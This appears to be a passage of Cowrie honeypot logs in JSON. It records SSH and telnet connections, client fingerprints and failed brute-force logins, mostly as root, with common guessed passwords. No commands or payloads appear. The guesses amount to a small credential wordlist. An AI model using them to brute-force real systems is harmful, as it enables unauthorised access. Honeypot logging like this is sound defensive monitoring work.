{"eventid":"cowrie.login.failed","username":"root","password":"root@123.","message":"login attempt [root/root@123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:30.925948Z","src_ip":"113.161.222.150","session":"7fefccb45d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:32.170310Z","src_ip":"113.161.222.150","session":"7fefccb45d1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57078,"dst_ip":"10.17.0.5","dst_port":22,"session":"3797a8456d27","protocol":"ssh","message":"New connection: 8.210.75.243:57078 (10.17.0.5:22) [session: 3797a8456d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:33.134478Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38444,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7b62544aea2","protocol":"telnet","message":"New connection: 170.64.224.25:38444 (159.203.135.109:23) [session: c7b62544aea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:39.196367Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":47248,"dst_ip":"10.17.0.5","dst_port":22,"session":"0478bed21652","protocol":"ssh","message":"New connection: 87.106.29.151:47248 (10.17.0.5:22) [session: 0478bed21652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:39.537909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:39.541335Z","src_ip":"87.106.29.151","session":"0478bed21652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:39.638416Z","src_ip":"87.106.29.151","session":"0478bed21652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$qwer","message":"login attempt [root/!@#$qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:40.085377Z","src_ip":"87.106.29.151","session":"0478bed21652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:41.187681Z","src_ip":"87.106.29.151","session":"0478bed21652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":57272,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd119c64352b","protocol":"ssh","message":"New connection: 91.92.40.13:57272 (159.203.135.109:22) [session: dd119c64352b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:44.705395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:44.764357Z","src_ip":"91.92.40.13","session":"dd119c64352b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:44.858774Z","src_ip":"91.92.40.13","session":"dd119c64352b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:45.227037Z","src_ip":"91.92.40.13","session":"dd119c64352b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:46.623905Z","src_ip":"91.92.40.13","session":"dd119c64352b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":42466,"dst_ip":"159.203.135.109","dst_port":22,"session":"a00b8a3e2587","protocol":"ssh","message":"New connection: 103.199.16.90:42466 (159.203.135.109:22) [session: a00b8a3e2587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:46.889501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:46.895973Z","src_ip":"103.199.16.90","session":"a00b8a3e2587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:47.111030Z","src_ip":"103.199.16.90","session":"a00b8a3e2587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":36992,"dst_ip":"10.17.0.5","dst_port":22,"session":"c924dc0917a5","protocol":"ssh","message":"New connection: 152.200.205.179:36992 (10.17.0.5:22) [session: c924dc0917a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:47.198442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:47.203799Z","src_ip":"152.200.205.179","session":"c924dc0917a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:47.292382Z","src_ip":"152.200.205.179","session":"c924dc0917a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kk123456@","message":"login attempt [root/Kk123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:47.683787Z","src_ip":"152.200.205.179","session":"c924dc0917a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gr","password":"123456","message":"login attempt [gr/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:47.984323Z","src_ip":"103.199.16.90","session":"a00b8a3e2587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:48.777427Z","src_ip":"152.200.205.179","session":"c924dc0917a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:49.213171Z","src_ip":"103.199.16.90","session":"a00b8a3e2587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55546,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe6c63afe183","protocol":"telnet","message":"New connection: 107.6.151.170:55546 (159.203.135.109:23) [session: fe6c63afe183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:56.217958Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53346,"dst_ip":"159.203.135.109","dst_port":23,"session":"495272a009ad","protocol":"telnet","message":"New connection: 107.6.151.170:53346 (159.203.135.109:23) [session: 495272a009ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:56.237108Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:45:59.330126Z","src_ip":"8.210.75.243","session":"f68b3721c01c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":54586,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9f7bac0746d","protocol":"ssh","message":"New connection: 105.27.148.94:54586 (10.17.0.5:22) [session: e9f7bac0746d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:06.282754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:06.286558Z","src_ip":"105.27.148.94","session":"e9f7bac0746d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:06.505691Z","src_ip":"105.27.148.94","session":"e9f7bac0746d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lc123456.","message":"login attempt [root/Lc123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:07.417650Z","src_ip":"105.27.148.94","session":"e9f7bac0746d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:08.641650Z","src_ip":"105.27.148.94","session":"e9f7bac0746d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":46178,"dst_ip":"10.17.0.5","dst_port":22,"session":"91040621c1c2","protocol":"ssh","message":"New connection: 139.59.208.49:46178 (10.17.0.5:22) [session: 91040621c1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:28.110873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:28.114780Z","src_ip":"139.59.208.49","session":"91040621c1c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:28.199952Z","src_ip":"139.59.208.49","session":"91040621c1c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123!!","message":"login attempt [root/Abc123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:28.568102Z","src_ip":"139.59.208.49","session":"91040621c1c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":46634,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fb07432cd6e","protocol":"ssh","message":"New connection: 164.92.161.148:46634 (10.17.0.5:22) [session: 9fb07432cd6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:28.962378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:28.967170Z","src_ip":"164.92.161.148","session":"9fb07432cd6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:29.055451Z","src_ip":"164.92.161.148","session":"9fb07432cd6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"123123","message":"login attempt [abc/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:29.436746Z","src_ip":"164.92.161.148","session":"9fb07432cd6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:29.653720Z","src_ip":"139.59.208.49","session":"91040621c1c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.8343710899353,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:30.030620Z","src_ip":"170.64.224.25","session":"c7b62544aea2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:30.526173Z","src_ip":"164.92.161.148","session":"9fb07432cd6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.850255489349365,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:32.087231Z","src_ip":"107.6.151.170","session":"495272a009ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53062,"dst_ip":"10.17.0.5","dst_port":22,"session":"27fe81a29ef1","protocol":"ssh","message":"New connection: 8.210.75.243:53062 (10.17.0.5:22) [session: 27fe81a29ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:32.103204Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":33836,"dst_ip":"10.17.0.5","dst_port":22,"session":"40c52ecab5a5","protocol":"ssh","message":"New connection: 122.176.122.24:33836 (10.17.0.5:22) [session: 40c52ecab5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:38.220517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:38.224610Z","src_ip":"122.176.122.24","session":"40c52ecab5a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc",